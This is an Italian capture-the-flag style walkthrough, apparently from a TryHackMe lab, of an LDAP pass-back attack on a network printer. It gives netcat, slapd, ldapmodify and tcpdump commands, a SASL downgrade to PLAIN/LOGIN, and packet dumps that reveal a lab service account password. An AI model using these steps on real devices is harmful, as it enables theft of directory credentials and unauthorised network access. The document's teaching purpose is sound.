tags: Active_Directory LDAP_Bind_Credentials LDAP Rogue_LDAP_Server windows
Gli attacchi LDAP Pass-back possono essere eseguiti quando si accede alla configurazione di un dispositivo in cui sono specificati i parametri LDAP. Può trattarsi, ad esempio, dell’interfaccia web di una stampante di rete. Solitamente, le credenziali per queste interfacce sono quelle predefinite, come admin:admin o admin:password. In questo caso, non saremo in grado di estrarre direttamente le credenziali LDAP poiché la password è solitamente nascosta. Tuttavia, possiamo modificare la configurazione LDAP, come l’IP o il nome host del server LDAP. In un attacco LDAP Pass-back, possiamo modificare questo IP con il nostro IP e quindi testare la configurazione LDAP, che costringerà il dispositivo a tentare l’autenticazione LDAP sul nostro dispositivo non autorizzato. Possiamo intercettare questo tentativo di autenticazione per recuperare le credenziali LDAP.
Ecco un esempio:

Per verificare questa vulnerabilità possiamo usare Netcat.
Ci mettiamo in ascolto alla porta 389:
nc -lvp 389Poi andiamo nella pagina di login e cambiamo il server con il nostro indirizzo IP e proviamo a fare un Test Settings:
nc -lvp 389
Listening on 0.0.0.0 389
Connection received on 10.200.27.201 49455
0�Dc�;
x�
objectclass0�supportedCapabilities0�P0�Fc�=
x�
objectclass0�supportedSASLMechanisms^CPotrebbe essere necessario più di un tentativo per ricevere una connessione, ma la risposta dovrebbe essere entro 5 secondi. La risposta supportedCapabilities ci informa che c’è un problema. In sostanza, prima di inviare le credenziali, la stampante tenta di negoziare i dettagli del metodo di autenticazione LDAP. Utilizzerà questa negoziazione per selezionare il metodo di autenticazione più sicuro supportato sia dalla stampante che dal server LDAP. Se il metodo di autenticazione è troppo sicuro, le credenziali non verranno trasmesse in chiaro. Con alcuni metodi di autenticazione, le credenziali non verranno trasmesse in rete! Quindi non possiamo semplicemente usare il normale Netcat per raccogliere le credenziali. Dovremo creare un server LDAP non autorizzato e configurarlo in modo non sicuro per garantire che le credenziali vengano inviate in chiaro.
Creazione Rogue LDAP Server
sudo apt-get update && sudo apt-get -y install slapd ldap-utils && sudo systemctl enable slapdsudo dpkg-reconfigure -p low slapdOra alla domanda seguente selezioniamo No:

Per il DNS Domain Name inseriamo il domain del target:

Usa lo stesso dominio anche per il nome dell’organizzazione della domanda successiva:

Fornire una password di amministratore:

Selezionare MDB come database LDAP da utilizzare:

Per le ultime due opzioni, assicurati che il database non venga rimosso durante la cancellazione:

Spostare i vecchi file del database prima che ne venga creato uno nuovo:

Prima di utilizzare il server LDAP non autorizzato, dobbiamo renderlo vulnerabile riducendo i meccanismi di autenticazione supportati. Vogliamo assicurarci che il nostro server LDAP supporti solo i metodi di autenticazione PLAIN e LOGIN. Per fare ciò, dobbiamo creare un nuovo file ldif, con il seguente contenuto:
#olcSaslSecProps.ldif
dn: cn=config
replace: olcSaslSecProps
olcSaslSecProps: noanonymous,minssf=0,passcredOra lanciamo il seguente comando per attivare questo file:
sudo ldapmodify -Y EXTERNAL -H ldapi:// -f ./olcSaslSecProps.ldif && sudo service slapd restartPer verificare possiamo usare il seguente comando:
kali㉿kali)-[~]
└─$ ldapsearch -H ldap:// -x -LLL -s base -b "" supportedSASLMechanisms
dn:
supportedSASLMechanisms: PLAIN
supportedSASLMechanisms: LOGINAcquisizione delle credenziali LDAP
Il nostro server LDAP non autorizzato è stato configurato. Cliccando su “Test Settings” all’indirizzo http://printer.za.tryhackme.com/settings.aspx (in questo caso), l’autenticazione avverrà in chiaro. Se il server LDAP non autorizzato è stato configurato correttamente e sta eseguendo il downgrade della comunicazione, verrà visualizzato il seguente errore: “This distinguished name contains invalid syntax”. Se si riceve questo errore, è possibile utilizzare un tcpdump per acquisire le credenziali utilizzando il seguente comando:
sudo tcpdump -SX -i breachad tcp port 389Esempio di output:
sudo tcpdump -SX -i breachad tcp port 389
[sudo] password for kali:
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on breachad, link-type RAW (Raw IP), snapshot length 262144 bytes
15:03:14.916643 IP 10.200.27.201.49908 > kali.ldap: Flags [SEW], seq 3420306611, win 64240, options [mss 1289,nop,wscale 8,nop,nop,sackOK], length 0
0x0000: 4502 0034 c691 4000 7f06 eb3c 0ac8 1bc9 E..4..@....<....
0x0010: 0a32 1931 c2f4 0185 cbdd bcb3 0000 0000 .2.1............
0x0020: 80c2 faf0 dd0b 0000 0204 0509 0103 0308 ................
0x0030: 0101 0402 ....
15:03:14.916702 IP kali.ldap > 10.200.27.201.49908: Flags [S.], seq 409271332, ack 3420306612, win 64240, options [mss 1460,nop,nop,sackOK,nop,wscale 7], length 0
0x0000: 4500 0034 0000 4000 4006 f0d0 0a32 1931 E..4..@[email protected]
0x0010: 0ac8 1bc9 0185 c2f4 1864 fc24 cbdd bcb4 .........d.$....
0x0020: 8012 faf0 c887 0000 0204 05b4 0101 0402 ................
0x0030: 0103 0307 ....
15:03:14.980511 IP 10.200.27.201.49908 > kali.ldap: Flags [.], ack 409271333, win 1027, length 0
0x0000: 4500 0028 c692 4000 7f06 eb49 0ac8 1bc9 E..(..@....I....
0x0010: 0a32 1931 c2f4 0185 cbdd bcb4 1864 fc25 .2.1.........d.%
0x0020: 5010 0403 0048 0000 P....H..
15:03:14.980587 IP 10.200.27.201.49908 > kali.ldap: Flags [P.], seq 3420306612:3420306686, ack 409271333, win 1027, length 74
0x0000: 4500 0072 c693 4000 7f06 eafe 0ac8 1bc9 E..r..@.........
0x0010: 0a32 1931 c2f4 0185 cbdd bcb4 1864 fc25 .2.1.........d.%
0x0020: 5018 0403 b9ba 0000 3084 0000 0044 0201 P.......0....D..
0x0030: 0663 8400 0000 3b04 000a 0100 0a01 0002 .c....;.........
0x0040: 0100 0201 7801 0100 870b 6f62 6a65 6374 ....x.....object
0x0050: 636c 6173 7330 8400 0000 1704 1573 7570 class0.......sup
0x0060: 706f 7274 6564 4361 7061 6269 6c69 7469 portedCapabiliti
0x0070: 6573 es
15:03:14.980608 IP kali.ldap > 10.200.27.201.49908: Flags [.], ack 3420306686, win 502, length 0
0x0000: 4500 0028 7733 4000 4006 79a9 0a32 1931 E..(w3@[email protected]
0x0010: 0ac8 1bc9 0185 c2f4 1864 fc25 cbdd bcfe .........d.%....
0x0020: 5010 01f6 020b 0000 P.......
15:03:14.981083 IP kali.ldap > 10.200.27.201.49908: Flags [P.], seq 409271333:409271344, ack 3420306686, win 502, length 11
0x0000: 4500 0033 7734 4000 4006 799d 0a32 1931 E..3w4@[email protected]
0x0010: 0ac8 1bc9 0185 c2f4 1864 fc25 cbdd bcfe .........d.%....
0x0020: 5018 01f6 c555 0000 3009 0201 0664 0404 P....U..0....d..
0x0030: 0030 00 .0.
15:03:14.981107 IP kali.ldap > 10.200.27.201.49908: Flags [P.], seq 409271344:409271358, ack 3420306686, win 502, length 14
0x0000: 4500 0036 7735 4000 4006 7999 0a32 1931 E..6w5@[email protected]
0x0010: 0ac8 1bc9 0185 c2f4 1864 fc30 cbdd bcfe .........d.0....
0x0020: 5018 01f6 b96d 0000 300c 0201 0665 070a P....m..0....e..
0x0030: 0100 0400 0400 ......
15:03:15.045092 IP 10.200.27.201.49908 > kali.ldap: Flags [.], ack 409271358, win 1027, length 0
0x0000: 4500 0028 c694 4000 7f06 eb47 0ac8 1bc9 E..(..@....G....
0x0010: 0a32 1931 c2f4 0185 cbdd bcfe 1864 fc3e .2.1.........d.>
0x0020: 5010 0403 ffe4 0000 P.......
15:03:15.045141 IP 10.200.27.201.49908 > kali.ldap: Flags [P.], seq 3420306686:3420306762, ack 409271358, win 1027, length 76
0x0000: 4500 0074 c695 4000 7f06 eafa 0ac8 1bc9 E..t..@.........
0x0010: 0a32 1931 c2f4 0185 cbdd bcfe 1864 fc3e .2.1.........d.>
0x0020: 5018 0403 7f15 0000 3084 0000 0046 0201 P.......0....F..
0x0030: 0763 8400 0000 3d04 000a 0100 0a01 0002 .c....=.........
0x0040: 0100 0201 7801 0100 870b 6f62 6a65 6374 ....x.....object
0x0050: 636c 6173 7330 8400 0000 1904 1773 7570 class0.......sup
0x0060: 706f 7274 6564 5341 534c 4d65 6368 616e portedSASLMechan
0x0070: 6973 6d73 isms
15:03:15.045326 IP kali.ldap > 10.200.27.201.49908: Flags [P.], seq 409271358:409271412, ack 3420306762, win 502, length 54
0x0000: 4500 005e 7736 4000 4006 7970 0a32 1931 E..^w6@[email protected]
0x0010: 0ac8 1bc9 0185 c2f4 1864 fc3e cbdd bd4a .........d.>...J
0x0020: 5018 01f6 2cfb 0000 3034 0201 0764 2f04 P...,...04...d/.
0x0030: 0030 2b30 2904 1773 7570 706f 7274 6564 .0+0)..supported
0x0040: 5341 534c 4d65 6368 616e 6973 6d73 310e SASLMechanisms1.
0x0050: 0405 504c 4149 4e04 054c 4f47 494e ..PLAIN..LOGIN
15:03:15.045344 IP kali.ldap > 10.200.27.201.49908: Flags [P.], seq 409271412:409271426, ack 3420306762, win 502, length 14
0x0000: 4500 0036 7737 4000 4006 7997 0a32 1931 E..6w7@[email protected]
0x0010: 0ac8 1bc9 0185 c2f4 1864 fc74 cbdd bd4a .........d.t...J
0x0020: 5018 01f6 b7dd 0000 300c 0201 0765 070a P.......0....e..
0x0030: 0100 0400 0400 ......
15:03:15.113094 IP 10.200.27.201.49908 > kali.ldap: Flags [.], ack 409271426, win 1026, length 0
0x0000: 4500 0028 c696 4000 7f06 eb45 0ac8 1bc9 E..(..@....E....
0x0010: 0a32 1931 c2f4 0185 cbdd bd4a 1864 fc82 .2.1.......J.d..
0x0020: 5010 0402 ff55 0000 P....U..
15:03:15.113139 IP 10.200.27.201.49908 > kali.ldap: Flags [P.], seq 3420306762:3420306836, ack 409271426, win 1026, length 74
0x0000: 4500 0072 c697 4000 7f06 eafa 0ac8 1bc9 E..r..@.........
0x0010: 0a32 1931 c2f4 0185 cbdd bd4a 1864 fc82 .2.1.......J.d..
0x0020: 5018 0402 b6c8 0000 3084 0000 0044 0201 P.......0....D..
0x0030: 0863 8400 0000 3b04 000a 0100 0a01 0002 .c....;.........
0x0040: 0100 0201 7801 0100 870b 6f62 6a65 6374 ....x.....object
0x0050: 636c 6173 7330 8400 0000 1704 1573 7570 class0.......sup
0x0060: 706f 7274 6564 4361 7061 6269 6c69 7469 portedCapabiliti
0x0070: 6573 es
15:03:15.113373 IP kali.ldap > 10.200.27.201.49908: Flags [P.], seq 409271426:409271437, ack 3420306836, win 502, length 11
0x0000: 4500 0033 7738 4000 4006 7999 0a32 1931 E..3w8@[email protected]
0x0010: 0ac8 1bc9 0185 c2f4 1864 fc82 cbdd bd94 .........d......
0x0020: 5018 01f6 c262 0000 3009 0201 0864 0404 P....b..0....d..
0x0030: 0030 00 .0.
15:03:15.113404 IP kali.ldap > 10.200.27.201.49908: Flags [P.], seq 409271437:409271451, ack 3420306836, win 502, length 14
0x0000: 4500 0036 7739 4000 4006 7995 0a32 1931 E..6w9@[email protected]
0x0010: 0ac8 1bc9 0185 c2f4 1864 fc8d cbdd bd94 .........d......
0x0020: 5018 01f6 b67a 0000 300c 0201 0865 070a P....z..0....e..
0x0030: 0100 0400 0400 ......
15:03:15.177478 IP 10.200.27.201.49908 > kali.ldap: Flags [.], ack 409271451, win 1026, length 0
0x0000: 4500 0028 c698 4000 7f06 eb43 0ac8 1bc9 E..(..@....C....
0x0010: 0a32 1931 c2f4 0185 cbdd bd94 1864 fc9b .2.1.........d..
0x0020: 5010 0402 fef2 0000 P.......
15:03:15.178503 IP 10.200.27.201.49908 > kali.ldap: Flags [P.], seq 3420306836:3420306902, ack 409271451, win 1026, length 66
0x0000: 4500 006a c699 4000 7f06 eb00 0ac8 1bc9 E..j..@.........
0x0010: 0a32 1931 c2f4 0185 cbdd bd94 1864 fc9b .2.1.........d..
0x0020: 5018 0402 2546 0000 3084 0000 003c 0201 P...%F..0....<..
0x0030: 0960 8400 0000 3302 0103 0404 4e54 4c4d .`....3.....NTLM
0x0040: 8a28 4e54 4c4d 5353 5000 0100 0000 0782 .(NTLMSSP.......
0x0050: 08a2 0000 0000 0000 0000 0000 0000 0000 ................
0x0060: 0000 0a00 6345 0000 000f ....cE....
15:03:15.178977 IP kali.ldap > 10.200.27.201.49908: Flags [P.], seq 409271451:409271475, ack 3420306902, win 502, length 24
0x0000: 4500 0040 773a 4000 4006 798a 0a32 1931 E..@w:@[email protected]
0x0010: 0ac8 1bc9 0185 c2f4 1864 fc9b cbdd bdd6 .........d......
0x0020: 5018 01f6 b646 0000 3016 0201 0961 110a P....F..0....a..
0x0030: 0122 0400 040a 696e 7661 6c69 6420 444e ."....invalid.DN
15:03:15.244063 IP 10.200.27.201.49909 > kali.ldap: Flags [SEW], seq 416125940, win 64240, options [mss 1289,nop,wscale 8,nop,nop,sackOK], length 0
0x0000: 4502 0034 c69a 4000 7f06 eb33 0ac8 1bc9 [email protected]....
0x0010: 0a32 1931 c2f5 0185 18cd 93f4 0000 0000 .2.1............
0x0020: 80c2 faf0 b8da 0000 0204 0509 0103 0308 ................
0x0030: 0101 0402 ....
15:03:15.244087 IP kali.ldap > 10.200.27.201.49909: Flags [S.], seq 1715332570, ack 416125941, win 64240, options [mss 1460,nop,nop,sackOK,nop,wscale 7], length 0
0x0000: 4500 0034 0000 4000 4006 f0d0 0a32 1931 E..4..@[email protected]
0x0010: 0ac8 1bc9 0185 c2f5 663d e5da 18cd 93f5 ........f=......
0x0020: 8012 faf0 6cc7 0000 0204 05b4 0101 0402 ....l...........
0x0030: 0103 0307 ....
15:03:15.286889 IP 10.200.27.201.49908 > kali.ldap: Flags [.], ack 409271475, win 1026, length 0
0x0000: 4500 0028 c69b 4000 7f06 eb40 0ac8 1bc9 E..(..@....@....
0x0010: 0a32 1931 c2f4 0185 cbdd bdd6 1864 fcb3 .2.1.........d..
0x0020: 5010 0402 fe98 0000 P.......
15:03:15.309330 IP 10.200.27.201.49909 > kali.ldap: Flags [.], ack 1715332571, win 1027, length 0
0x0000: 4500 0028 c69c 4000 7f06 eb3f 0ac8 1bc9 E..(..@....?....
0x0010: 0a32 1931 c2f5 0185 18cd 93f5 663d e5db .2.1........f=..
0x0020: 5010 0403 a487 0000 P.......
15:03:15.309368 IP 10.200.27.201.49909 > kali.ldap: Flags [P.], seq 416125941:416126006, ack 1715332571, win 1027, length 65
0x0000: 4500 0069 c69d 4000 7f06 eafd 0ac8 1bc9 E..i..@.........
0x0010: 0a32 1931 c2f5 0185 18cd 93f5 663d e5db .2.1........f=..
0x0020: 5018 0403 cfa1 0000 3084 0000 003b 0201 P.......0....;..
0x0030: 0a60 8400 0000 3202 0102 0418 7a61 2e74 .`....2.....za.t
0x0040: 7279 6861 636b 6d65 2e63 6f6d 5c73 7663 ryhackme.com\svc
0x0050: 4c44 4150 8013 7472 7968 6163 6b6d 656c LDAP..tryhackmel
0x0060: 6461 7070 6173 7331 40 dappass1@
15:03:15.309380 IP kali.ldap > 10.200.27.201.49909: Flags [.], ack 416126006, win 502, length 0
0x0000: 4500 0028 cef3 4000 4006 21e9 0a32 1931 E..(..@.@.!..2.1
0x0010: 0ac8 1bc9 0185 c2f5 663d e5db 18cd 9436 ........f=.....6
0x0020: 5010 01f6 a653 0000 P....S..
15:03:15.309565 IP kali.ldap > 10.200.27.201.49909: Flags [P.], seq 1715332571:1715332595, ack 416126006, win 502, length 24
0x0000: 4500 0040 cef4 4000 4006 21d0 0a32 1931 E..@..@.@.!..2.1
0x0010: 0ac8 1bc9 0185 c2f5 663d e5db 18cd 9436 ........f=.....6
0x0020: 5018 01f6 5add 0000 3016 0201 0a61 110a P...Z...0....a..
0x0030: 0122 0400 040a 696e 7661 6c69 6420 444e ."....invalid.DN
15:03:15.426744 IP 10.200.27.201.49909 > kali.ldap: Flags [.], ack 1715332595, win 1027, length 0
0x0000: 4500 0028 c6a0 4000 7f06 eb3b 0ac8 1bc9 E..(..@....;....
0x0010: 0a32 1931 c2f5 0185 18cd 9436 663d e5f3 .2.1.......6f=..
0x0020: 5010 0403 a42e 0000 P.......La password è tryhackmeldappass1@